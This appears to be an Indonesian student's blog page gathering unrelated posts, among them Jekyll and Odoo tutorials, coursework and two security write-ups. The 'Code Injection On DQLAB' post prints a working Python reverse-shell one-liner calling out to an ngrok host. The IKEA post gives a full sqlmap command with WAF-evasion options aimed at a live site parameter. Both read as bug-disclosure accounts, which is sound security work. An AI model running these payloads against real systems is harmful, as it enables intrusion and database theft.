Yudha-Ard 🔧
Dark Mode
Membuat Blog dengan Jekyll di Github Pages

Membuat Blog dengan Jekyll di Github Pages

Membuat Simple Blog dengan Jekyll di Github Pages

 

 

Apa itu Jekyll ?


sesuai tagline-nya “a simple, blog-aware, static site generator” dan 


Menurut keterangan di official repository Jekyll , Jekyll adalah


generator situs statis sederhana,  blog,  untuk situs pribadi, proyek, atau organisasi. 

Anggap saja seperti CMS ( Content Management System ) berbasis file, tanpa semua kerumitan. 

Jekyll mengambil konten Anda, merender/membaca template/struktur  Markdown (.md), 

dan menampilkan situs web statis lengkap yang siap dilayani oleh

 Apache, 

Nginx, 

atau server web lainnya. 

Jekyll dapat digunakan langsung dari repositori Github. Jekyll berjalan pada ruby.

Tutorial Membuat Modul Sales pada ERP ODOO

Tutorial Membuat Modul Sales pada ERP ODOO


Tutorial Membuat Modul Sales pada ERP Odoo


  1. Membuka dan Membuat akun Website Odoo di ODOO.COM dan membuat akun untuk membuat repo databases kita.
  2. Odoo memiliki banyak modul, namun untuk membuat modul sales kita hanya butuh modul CRM, Invoicing, dan Sales. Apabila modul yang dibutuhkan belum ada maka kita install pada menu ‘Apps’


  3. Kita harus membuat nama dan deskripsi mengenai perusahaan kita terlebih dahulu

  4. Pertama kita harus membuat kontak pelanggan dengan klik menu ‘Contacts’

  5. Klik ‘CREATE’ untuk menambah kontak pelanggan

  6. Memasukkan nama pelanggan, dan data lain dari pelanggan, lalu klik ‘ADD’ untuk meyimpan

  7. Disini kita diminta untuk mengisi kontaknya lagi lalu klik ‘SAVE & CLOSE’
  8. Mengembalikan ke menu awal dengan klik ikon kotak-kotak pada bagian kiri atas
  9. Selanjutnya membuat produknya dengan klik menu ‘Sales’

  10. Pada bagian atas terdapat beberapa menu, kita pilih menu ‘Products’

  11. Klik ‘CREATE’

  12. Memasukkan nama produk, harga bebas, dan juga dapat menambah data sendiri. Menyimpan data dengan klik ‘SAVE’ pada bagian atas

  13. Berikutnya, melakukkan order karena sudah terdapat pelanggan dan juga contoh produk dengan klik menu ‘Orders’, lalu klik ‘CREATE’
  14. Pada form, kita pilih customer (langsung ambil data dari kontak pelanggan) dan menambahkan produk yang dibeli.

  15. Akan muncul quotation atau bukti pemesanan.

  16. Mencetak invoice dengan klik ‘CREATE INVOICE’ lalu pilih ‘deduct down payments’ dan klik ‘CREATE AND VIEW INVOICES’, seperti inilah invoice yang sudah dibuat
  17. Mengirim pesan pada pelanggan misal terdapat batas waktu pembayaran dengan klik ‘SEND & PRINT’. Setelah mengisi email dan nomor telepon klik ‘SAVE’
  18. Format pesan akan otomatis muncul dengan nomor invoice, tahun pemesanan, dan jumlah pembayaran yang harus dibayar, klik ‘SEND & PRINT’ untuk mengirim pesan dan mencetak invoice barang yang belum dibayar
  19. Kita bisa mengedit tampilan Invoices disini.


  20. Kembali pada ERP, untuk mencetak invoice yang sudah dibayar maka klik menu ‘REGISTER PAYMENT’, terdapat jumlah biaya, memilih metode pembayaran, dan memilih tanggal pembayaran, lalu klik ‘CREATE PAYMENT’
  21. Pembayaran sudah dilakukan.

  22. Mengirim pesan pada pelanggan bahwa pembayaran sudah dilakukan dan mencetak invoice barang yang sudah dibayar lunas dengan klik ‘SEND & PRINT’
  23. Bukti transaksi dapat dilihat di menu ‘Orders’, dengan nomor transaksi, tanggal, nama customer, dan status invoicenya.

Code Injection On DQLAB

Code Injection On DQLAB

 


 

Apa Itu Code Injection (Kode Injeksi) dan Apa Dampaknya?

Dikutip dari https://www.owasp.org/index.php/Code_Injection, Kode Injeksi adalah istilah umum untuk jenis serangan yang terdiri dari kode yang disuntikan yang kemudian ditafsirkan / dieksekusi oleh aplikasi. Serangan ini biasanya dimungkinkan karena kurangnya validasi data input / output yang tepat, misalnya:

  • Jarakter yang diizinkan (kelas regular expressions standar atau khusus)
    format data

  • Jumlah data yang diharapkan

Jika berhasil meng-eksploitasi serangan ini, dampaknya dapat mencakup bocornya data, hilangnya data atau informasi yang telah dicuri oleh penyerang 

POC (Proof Of Concept) :

Saya mencoba menjalankan perintah shell dengan modul os, ternyata code tereksekusi dengan lancar 

import osos.system('uname -a')

lalu saya mencoba me-reverse shell via command line, sebelumnya saya menggunakan netcat untuk listener “nc -lvp 6969” Karena ip address saya bukan public ip maka saya akan forward ip address saya dengan ngrok “ngrok tcp 6969” kemudian gunakan public address yang di assign ngrok sebagai ip dan port dipayload yang dieksekusi. Berikut kode yang saya gunakan

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("0.tcp.ngrok.io",12084));os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);




Sekian dari saya kurang lebih mohon maaf , Wassalamualaikum Wr.Wb

SQL-Injection On Ikea.co.id

SQL-Injection On Ikea.co.id



IKEA SQL-Injection – Hello, Here I will share my experience of hunting bugs on an e-commerce site in Indonesia.This experience started when I was browsing to see and find references to articles for a college assignment I was working on,I saw banners / advertisements from the IKEA.CO.ID website which often popped up immediately crossed my mind to try to do a pentest on the website IKEA. CO.ID.

Prof Of Concept 

1. Visit Product Page "https://www.ikea.co.id/in/products/"

2. Search for a product & navigate to the product page according to the name of the product search

3. Get product filter and see json response on Network panel

 

 

 

 

 


 


4. I have the parameter in the url "https://www.ikea.co.id/in/products/template_reload?&q=meja&price="

5. I think the parameter price has sqli potential because I tried to enter in your SQL injection payload into price params i get error information on page. 

6. I tried the test with the sqlmap tools and I tried dump for get DB_NAME with payload ' ./sqlmap.py -u "https://www.ikea.co.id/in/products/template_reload?&q=meja&price=1" --random-agent -p"price" --risk=3 --level=3 --tamper=randomcase --threads=2 --text-only --no-cast --batch --dbms=postgresql --dbs '

7. I got 27 DATABASE NAME on system


    Refrensi:

    https://medium.com/@drag0n/sqlmap-tamper-scripts-sql-injection-and-waf-bypass-c5a3f5764cb3
    https://medium.com/@vardanstres/advance-sqlmap-bypass-mod-security-bypass-bdb2e8b79bc

     

    Big Thank's To: 


    Timeline:

    • Oct 23, 2020   – Send Report.
    • Nov 20, 2020  – Bug fixing.
    • Jan 29, 2021   – Reward sent ($500).

    3D Ember : Desain virtual berbasis 3D Max sebagai Upaya Pengurangan Volume Sampah Permukaan pada air sungai

    3D Ember : Desain virtual berbasis 3D Max sebagai Upaya Pengurangan Volume Sampah Permukaan pada air sungai


    Oleh Irfan Hidayat, Dery Syams Ahnaf, Yudha Ardhi

    Menjaga lingkungan merupakan sebuah langkah awal yang berfungsi untuk mengurangi kerusakan bumi dan menjaga ekosistem yang ada. Selain itu menjaga lingkungan juga bisa menyelamatkan hewan-hewan dari kepunahan.
    Seiring bertambahnya populasi manusia sering kali dibarengi dengan penggunaan bahan yang kurang ramah terhadap lingkungan salah satunya penggunaan bahan plastic. Bahan plastic susah untuk di urai oleh organisme dan membutuhkan jutaan tahun untuk terurai dengan sempurna.
    Terlebih jika harus membuang sampah di sungai dan laut, kurangnya kesadaran dan tidak ada sanksi membuat sebagian orang dengan bebas membuang sampah dilautan. Hal ini akan menyebabkan kondisi air menjadi tercemar dan hewan yang dilaut akan mengalami keracunan dan mati.
    Jika tidak ada tindakan tegas maka laut tidak lagi akan menjadi sumber yang bisa dimanfaatkan karena kerusakan yang sudah parah. Ikan akan terus menjauh karena sampah yang terus merusak. 

    Sistem penyaringan air pada Seabin sangat mirip dengan filter air di tangki ikan peliharaan, tetapi didesain untuk membersihkan seluruh laut.

    Seabin dapat diinstal pada setiap dermaga apung dan dirancang untuk menyedot setiap sampah atau minyak yang mengambang di sekitar dermaga.

    Konsep ini sederhana: Sebuah ember dihubungkan dengan pompa air, kemudian ia menghisap sampah yang mengambang di laut ke dalam kantong jala yang dapat dilepas

    Sumber:

    http://ruangsipil.blogspot.com/2018/04/seabin-project-alat-penyedot-sampah.

    https://nationalgeographic.grid.id/read/13303111/seabin-ember-jenius-penghisap-sampah-dan-minyak-di-lautan?page=all

    Tugas 8 Individu PSI

    Tugas 8 Individu PSI

     

    Laboratorium prodi/jurusan Sistem Informasi

    ITS (https://www.its.ac.id/si/fasilitas/laboratorium-2/)
    Laboratorium di Departemen Sistem Informasi (DSI) dikelompokkan menjadi 2 bagian, yaitu: laboratorium pembelajaran (atau praktikum) dan laboratorium penelitian. DSI mempunyai 3 laboratorium pembelajaran yang disebut studio, yaitu: studio pemrograman, studio aplikasi terapan, dan studio sistem operasi. DSI juga memiliki 5 laboratorium penelitian, yaitu: Infrastuktur dan Keamanan Teknologi Informasi, Manajemen Sistem Informasi, Rekayasa Data & Intelegensi Bisnis,  Akuisisi Data dan Deseminasi Informasi  dan Sistem Enterprise.
    UM (http://elektro.um.ac.id/laboratorium/laboratorium-sistem-informasi/)
     
    Laboratorium Sistem Informasi merupakan salah satu laboratorium yang berada di bawah naungan Jurusan Teknik Elektro Fakultas Teknik Universitas Negeri Malang. Laboratorium dikhususkan pada bidang pembuatan dan pengembangan basis data dan sistem informasi. Laboratorium ini bertempat di gedung H5 lantai 2 ruang 212. Laboratorium ini memiliki daya tampung 30 s.d 40 mahasiswa. Dengan ukuran ruang cukup luas serta dilengkapi dengan AC dan sirkulasi udara membuat mahasiswa menjadi nyaman untuk beraktifitas di laboratorium ini.

    Fungsi utama laboratorium sistem informasi adalah untuk kegiatan praktikum atas teori yang sudah didapat dalam perkuliahan teori. Untuk menunjang fungsi dari laboratorium ini dan juga kegiatan pembelajaran yang ada didalamnya, di laboratorium ini terdapat alat-alat pendukung dalam melakukan kegiatan praktikum, seperti: Personal Computer (PC), LCD Proyektor, dan Jaringan Internet yang memadai, White Board dan peralatan lainnya yang berhubungan dengan jaringan komputer. Adapun perangkat lunak yang digunakan untuk mendukung kegiatan praktikum pada laboratorium sistem informasi ini antara lain: Oracle, MySQL, PostgreSQL, Apache Web Server, PHP Engine, Visual Paradigm, Navicat, SQLyog, MySQL Workbench, Power Designer, Netbeans, Java, Pencil, serta Microsoft Visual Studio. Selain untuk kegiatan praktikum, laboratorium ini juga digunakan untuk kegiatan pengerjaan skripsi/tugas akhir, diskusi, simulasi, pelatihan, dan penelitian terkait.

    • IT Telkom Surabaya

    Laboratorium

    Berikut ini merupakan bidang penelititan yang tersedia di Departemen Sistem Informasi :

    1. DATA AKUISISI DAN DISEMINASI INFORMASI (DATA ACQUISITION & INFORMATION DISSEMINATION)

    • Akuisisi Data 

    Data yang saat ini ada di sekitar kita heterogen, baik dari sisi struktur (terstruktur dan tidak terstruktur), lokasi (terdistribusi atau terpusat), dari berbagai sumber/resource (contoh: data dari website, pesan teks/sms, dan lain-lain), serta volume (contoh: data masif atau big data). 

    • Paradigma Pengolahan 

    Seiring dengan perkembangan sumber dan volume data, berkembang pula berbagai teknologi untuk mengolah data tersebut. Masing-masing dari teknologi tersebut merupakan implementasi dari paradigma yang berbeda mengenai data, dan diwujudkan dalam inovasi pada teknik-teknik pra-proses dan pengolahan data. 

    • Diseminasi Informasi 

    Proses dan metode pengolahan data menjadi informasi yang lebih bernilai

    Track : Data Acquisition and Information Dissemination (DAID)

     
    1. Database Management Systems
    2. Open Data
    3. Knowledge Management
    4. Semantics Web and Linked Data
    5. Big Data
    6. Web Services
    7. Social Media
    8. Social Networks
    9. Visualization Information
    10. Social Information Systems
    11. Social Informatics
    12. Spatial Information Systems
    13. Geographical Information Systems

    2. REKAYASA DATA DAN KECERDASAN BISNIS (DATA ENGINEERING & BUSINESS INTTELIGENCE)

    RDIB memiliki tujuan untuk menjadi pusat penelitian terkait pemanfaatan data yang mendukung analisis bisnis dan organisasi untuk bisa ditransformasi menjadi informasi bermakna serta pengetahuan sehingga berguna dalam pengambilan keputusan. Bidang-bidang keilmuan yang dicakup meliputi :
    •    Computerized Decision Support : Decision Support System, System Modelling and Analysis.
    •    Data Management: Database and Database Management System (DBMS); Extraction, Transformation, and Load (ETL) System; Data Warehouse (DW), real-time DW, and Data Mart.
    •    Business Analytic: Optimizations; Data/Web/Text Mining; Web Analytic; Peramalan
    •    Knowledge Management: Knowledge Management System, Expert Locating System, Ontology.
    •    Intelligent Systems: Expert System, Artificial Neural Network, Fuzzy Logic, Genetic Algorithm, Intelligent Agent, Automated Decision System. 

    Track : Data Engineering and Business Intelligence (DEBI)
    1. Business Intelligence
    2. Data Mining
    3. Intelligent Systems
    4. Artificial Intelligence
    5. Autonomous Agents
    6. Intelligent Agents
    7. Multi-Agent Systems
    8. Expert Systems
    9. Pattern Recognition
    10. Machine Learning
    11. Soft Computing
    12. Optimization
    13. Forecasting
    14. Meta-Heuristics
    15. Computational Intelligence

    3. MANAJEMEN SISTEM INFORMASI (INFORMATION SYSTEMS MANAGEMENT)

    Rancangan penelitian berisi isu-isu strategis yang menjadi fokus penelitian lab MSI yang merupakan manifestasi dari roadmap penelitian. Isu strategis dari penelitian lab MSI pada tahun 2016 – 2025 ini dibagi menjadi: 

    • TI sebagai tools Strategi 
    • Penerapan E-Government (egov) 
    • Manajemen & Perubahan Proyek TI 
    • Pengembangan Sistem Informasi 
    • Kedewasaan Proses TI 
    • Pengembangan Layanan TI 
    • Penjaminan Mutu Proses TI 
    • Pengelolaan Risiko TI 
    • IT Productivity Paradox, IT Business Value 

    Track : Information Systems Management (ISM)
    1. Software Engineering
    2. Software Design Pattern
    3. System Analysis and Design
    4. Research Methods of Information Systems
    5. Green Technology Strategies
    6. Strategic Information Systems
    7. IT Governance and Audits
    8. E-Government
    9. IT Service Management
    10. IT Project Management
    11. Information System Development
    12. Software Quality Assurance
    13. Adoption and Diffusion of Information Technology
    14. Health Information Systems and Technology
    15. Accounting Information Systems
    16. Human Behavior in Information System
    17. Social Technical Issues and Social Inclusion
    18. Domestication of Information Technology
    19. ICTs and Sustainable Development
    20. Information System in developing countries

    4. INFRASTRUKTUR TEKNOLOGI (IT INFRASTRUCTURE AND SECURITY)

    Isu strategis yang menjadi basis dan fokus penelitian laboratorium Infrastruktur Sistem dan Teknologi Informasi Jurusan Sistem Informasi, Fakultas Teknologi Informasi (FTIF) tahun 2015-2020 adalah terkait penelitian-penelitian dengan topik sebagai berikut: 

    • Infrastruktur Teknologi Informasi (Fokus pada Middle Layer ke Bawah dari OSI Layer) 
    • Energi 
    • Military Defense 
    • Transportasi dan Logistik 
    • Efisiensi melalui Monitoring Konsumsi Pemakaian Listrik 
    • Peningkatan Pemanfaatan Potensi Laut melalui Pengembangan Teknologi pada Bidang Kemaritiman 
    • Desain Arsitektur Software : Resilent Information Systems 

    Track : IT Infrastructure and Security (ITIS)
    1. Computer Security
    2. Information Security and Privacy
    3. Information Forensics
    4. Network Security
    5. Cryptography
    6. Cloud Computing and Virtualization
    7. Emerging Technologies
    8. Computer Vision and Image
    9. Service Oriented Architecture (SOA)
    10. Ethics in Information Systems
    11. Service Computing
    12. Computer Graphics
    13. Image Processing
    14. Speech Recognition
    15. Human Computer Interaction
    16. Augmented Reality
    17. Ubiquitous Computing
    18. Sensor Networks
    19. Medical Image Analysis
    20. Internet Technology
    21. Computational Biology and Bio-Informatics
    22. Game Development
    23. Mobile and Pervasive Computing
    24. Affective Computing
    25. Real-time Systems and Embedded Systems
    26. Parallel and Distributed Systems
    27. Computing on Graphics Processing Units (GPGPU)

    5. SISTEM ENTERPRISE (ENTERPRISE SYSTEMS)

    Bidang-bidang keilmuan yang dicakup meliputi : 

    • Sistem Enterprise: Pengelolaan Hubungan Pelanggan, Manajemen Rantai Pasok, Perencanaan Sumber Daya Perusahaan 
    • Manajemen Proses Bisnis: Process Mining, Alur Kerja 
    • Analisis dan Pemodelan Proses Bisnis: Analisis dan Pemodelan Sistem, Kecedasan Bisnis, Bisnis Analitis, Sistem Informasi Geografis 
    • Data and Knowledge Management: Data Warehousing, OLAP, Database 

    Track : Enterprise Systems (ES)
    1. Enterprise Resource Planning
    2. Business Process Management
    3. Customer Relationship Management
    4. Supply Chain Management and Logistics
    5. System Dynamics
    6. E-business and e-Commerce
    7. Marketing Analytics
    8. Marketplace Analytics
    9. Business Analytics and Knowledge Discovery
    10. Production Management
    11. Task Analysis
    12. Process Mining
    13. Discrete Event Simulation
    14. Service Science and Innovation
    15. Innovation in the Digital Economy

    Kelompok keahlian diprodi/jurusan Sistem Informasi







    Bidang  Pengetahuan       

     Teknologi Informasi :
    1. Arsitektur Komputer
    2. Algoritma dan Struktur Data
    3. Bahasa Pemrograman
    4. Sistem Operasi
    5. Telekomunikasi dan Jaringan Komputer
    6. Manajemen Data dan Informasi
    7. Kecerdasan Buatan
    8. Keamanan Informasi
    9. Interaksi Manusia dan Komputer
    10. Sistem dan Teknologi Web.
    11. Infrastruktur TI.


     

     

           Sistem Informasi dan Konsep Organisasi :

    1. Analisis Bisnis
    2. Desain Sistem Informasi
    3. Rekayasa Sistem Informasi
    4. Arsitektur Enterprise
    5. Perencanaan Aplikasi
    6. Manajemen Resiko
    7. Manajemen Proyek
    8. Perawatan dan Operasi Sistem
    9. Strategi Uji dan Implementasi Sistem Informasi
    10. Teori Umum Organisasi
    11. Manajemen Sistem Informasi
    12. Teori Keputusan
    13. Perilaku Organisasi
    14. Manajemen Perubahan
    15. Etika dan Legalitas Sistem Informasi
    16. Profesionalisme
    17. Kemampuan Antar Personal.  

           Bidang Peneliian :

    1. Information System Engineering
    2. Information Technology Governance
    3. Information Technology Strategic Planning
    4. Information System Management
    5. Risk Management
    6. Expert System
    7. Decision Support System
    8. Data Mining
    9. Data Warehouse
    10. Business Intelligence
    11. e-Business / e-Commerce
    12. Knowledge Management
    13. Social Informatics
    14. Information Security
    15. Web System and Technology
    16. Enterprise Architecture
    17. Mobile Application

    ITTS

    KK-Sistem Enterprise dan Manajemen Industri


    KK Sistem Elektronik Cerda
    s

    KK-Sistem Cerdas dan Teknologi Terintegrasi





     
    Contoh tugas akhir mahasiswa Sistem Informasi

    triosakti.wordpress.com/2020/01/07/tugas-11-individu-pengenalan-sistem-informasi/

    LATAR BELAKANG

    Seiring dengan berkembangnya sistem informasi saat ini, banyak sistem informasi pada organisasi yang ingin mencapai tahap sistem informasi secara cepat, relevan dan akurat. Pesatnya pertumbuhan ilmu pengetahuan teknologi khususnya di bidang komputer disetiap aspek kehidupan dan penggunaan teknologi komputer dan teknologi komunikasi yang menghasilkan sebuah penggabungan sistem informasi yang saat ini mudah untuk di akses tanpa adanya batasan waktu dan jarak dengan menggunakan jaringan internet. Model penjualan atau bisnis ikut terpengaruh dari perkembangan ilmu pengetahuan teknologi tersebut, terlebihnya dengan pesatnya pertumbuhan pengguna internet di berbagai belahaan dunia khususnya negara berkembang. Salah satu bisnis yang menjadi trend terbaru di masyarakat ini adalah dalam bidang belanja online.

    Sejauh ini banyak industri lem khususnya lem yang masih melakukan promosi dan penjualan melalui mulut ke mulut ataupun bentuk brosur, sehingga jangkauan promosi dan penjualan masih terbatas dan belum bisa meluas ke beberapa daerah. Kendala lain yang di alami oleh penjual lem yaitu persaingan yang ketat, hal itu membuat pengolah industri lem harus mempunyai strategi pemasaran yang berbeda dari pesaingnya. Untuk itu dibutuhkan sebuah aplikasi berbasis web berupa website yang mampu memberikan informasi mengenai produk kepada pelanggan dengan cepat melalui internet.

    Berdasarkan uraian latar belakang yang telah dijelaskan diatas, penulis mengambil judul mengenai “Sistem Informasi Pemasaran Berbasis Website Pada PT. Trimitra Sebagai Sarana Penjualan Produk Secara Online”

    STUDI KASUS

    PT. TRIMITRA SEBAGAI SARANA PENJUALAN PRODUK SECARA ONLINE

    METODE PENYELESAIAN

    Metode yang digunakan adalah:

    1. Metode Pengumpulan Data (Wawancara dan Observasi)
    2. Metode Analisa Sistem
    3. Metode Analisa Perancangan Program

    SOLUSI YANG DIHASILKAN

    Proses penjualan masih manual belum terkomputerisasi dan untuk memperbarui data di perusahaan tersebut dilakukan setiap hari dengan menyetor salinan surat bukti pembelian dari penjualan tersebut. Proses penjualan di New Java Comp ketika Customer memilih barang yang tersedia di website, sehingga customer dapat memilih dan melihat barang secara lengkap yang tersedia di perusahaan. Untuk pencatatan penjualan dilakukan menggunakan bukti faktur pembelian customer yang tersimpan di database ketika customer melakukan transaksi .

    Laboratorium
    RESUME  " SAYA SALAH JURUSAN ? "

    RESUME " SAYA SALAH JURUSAN ? "


     

    Nama : Yudha Ardi Firmansah

    NIM   : 1204200083

    Program Studi : Sistem Informasi 

    Kelas : IS 03-01

     

    Institut Teknologi Telkom Surabaya

    Resume Webinar Konsep Sistem Informasi “Saya Salah Jurusan?

    Konsep Salah Jurusan

    Merujuk pada istilah “Mahasiswa Salah Jurusan”, pada dasarnya apapun jurusan yang telah dipilih oleh setiap individu untuk melanjutkan studi jenjang perguruan tinggi merupakan suatu hal yang sama. Hal ini tetap bergantung pada bagaimana individu tersebut mengolah perspektif dari berbagai bola pandang.

    Generation Z

    Generasi Z merupakan generasi setelah Generasi Y yang didefinisikan sebagai orang-orang yang lahir dalam rentang tahun kelahiran 2010 sampai kini.

    Karakteristik daripada Gen Z antara lain:

    • Social
    • Multi-Taskers
    • Entrepreneurs
    • Educated
    • Philanthropists
    • Digital Natives
    • Interactive
    • Tech-Savvy
    • Less Focused
    • Cautious

    Gen Z merupakan self-starters. Self starter adalah seseorang yang mampu mengambil inisiatif dan dapat bekerja tanpa pengawasan dari atasan.

    Entering Society 5.0

    Society 5.0 merupakan konsep yang dirumuskan mantan Perdana Menteri Jepang Shinzo Abe dan dikemukakan di ajang CeBIT, Hannover di kota Hannover, Jerman pada tahun 2017. Abe menyebut bahwa konsep ini dapat membantu Jepang menangani berbagai permasalahan, yang kemudian konsep ini diresmikan pada Januari 2019.

    Masyarakat 5.0 adalah suatu konsep masyarakat yang berpusat pada manusia dan berbasis teknologi yang dikembangkan oleh Jepang. Konsep ini lahir sebagai pengembangan dari revolusi industri 4.0 yang dinilai berpotensi mendegradasi peran manusia.

    Melalui Society 5.0, kecerdasan buatan (Artificial Intelligence) akan mentransformasi big data yang dikumpulkan melalui internet pada segala bidang kehidupan (the Internet of Things) menjadi suatu kearifan baru, yang akan didedikasikan untuk meningkatkan kemampuan manusia membuka peluang-peluang bagi kemanusiaan.  

    Transformasi ini akan membantu manusia untuk menjalani kehidupan yang lebih bermakna.

    Sejarah Perkembangan Internet

    Sejarah perkembangan internet di dunia:

    • 1958 ARPA (The Advanced Research Projects Agency) dibentuk.
    • 1961 Munculnya prinsip transfer data di dalam suatu jaringan komputer.
    • 1965 Pertama kalinya dua buah komputer yang terpisah dalam jarak yang jauh dapat saling terhubung.
    • 1969 ARPA meluncurkan jaringan komputer ARPANET.
    • 1971 Pertama kali ditemukannya sistem surat menyurat secara elektronik.
    • 1974 Pertama kalinya digunakan istilah internet atau internetworking.
    • 1976 Ethernet sebagai jaringan LAN pertama diciptakan.
    • 1982 Protokol internet atau TCP/IP pertama kali dibuat.
    • 1991 World Wide Web pertama kali dikenalkan pada publik oleh CERN.
    • 1993 Pertama kalinya di dalam internet disiarkan sebuah broadcast radio.
    • 1994 Toko online pertama dibuat muncul bank virtual dan banner periklanan di internet.
    • 1999 Jaringan transfer file (terutama untuk keperluan distribusi file MP3) secara peer-to-peer dikenalkan.
    • 2010 Kru dari Stasiun Luar Angkasa Internasional (ISS) menerima akses langsung terhadap internet.
    • 2011 Tercatat lebih dari 357 juta website di dalam internet.

    Information Technology dan Information System

    Information Technology terdiri atas:

    • Hardware
    • Software
    • Databases
    • Networks
    • Other related components

    Information Tehcnology digunakan untuk membangun Information Systems:

    • Payroll System
    • Inventory System
    • Marketing System
    • Customer Service System
    • Health System

    Information Systems

    Pengertian Sistem Informasi

    Sistem dapat diartikan sebagai suatu kesatuan dari sesuatu yang sistematis dan ter-struktur serta menjalankan fungsi untuk mencapai suatu tujuan tertentu.

    Informasi dapat diartikan sejumlah data yang telah diolah dan memiliki kegunaan untuk suatu tujuan tertentu.

    Secara umum, sistem informasi merupakan suatu sistem yang di dalamnya memuat tentang berbagai informasi yang terkait dengan operasional suatu organisasi yang berguna untuk mengambil keputusan dalam mencapai tujuan organisasi

    Tujuan Sistem Informasi

    Untuk menyediakan informasi-informasi tertentu dalam pengambilan keputusan. Keberadaan data dalam sistem informasi akan sangat membantu dalam menyikapi suatu permasalahan.

    Komponen Sistem Informasi

    Komponen Sistem Informasi antara lain:

    • Orang
    • Perangkat Keras
    • Perangkat Lunak
    • Prosedur
    • Jaringan Komputer dan Komunikasi Data
    • Basis Data

    Mengapa bisa terjadi Salah Jurusan?

    • Jurusan tersebut tidak sesuai dengan passion.
    • Bukan karena keinginan pribadi, melainkan berdasarkan faktor tertentu.
    • Memilih jurusan dengan keinginan tetapi tidak yakin akan prospek kedepannya.
    • Masih belum mengetahui dimana letak minat dan bakat individu.

    Tips Mengatasi Keraguan dalam Memilih Jurusan :

    • Jangan gegabah untuk mengambil langkah.
    • Temukan hal positif di lingkungan sekitar.
    • Meningkatkan kemampuan beradaptasi.
    • Bersyukur karena banyak individu yang ingin menempati posisi tersebut.
    • Bangun relasi dan koneksi sebanyak mungkin.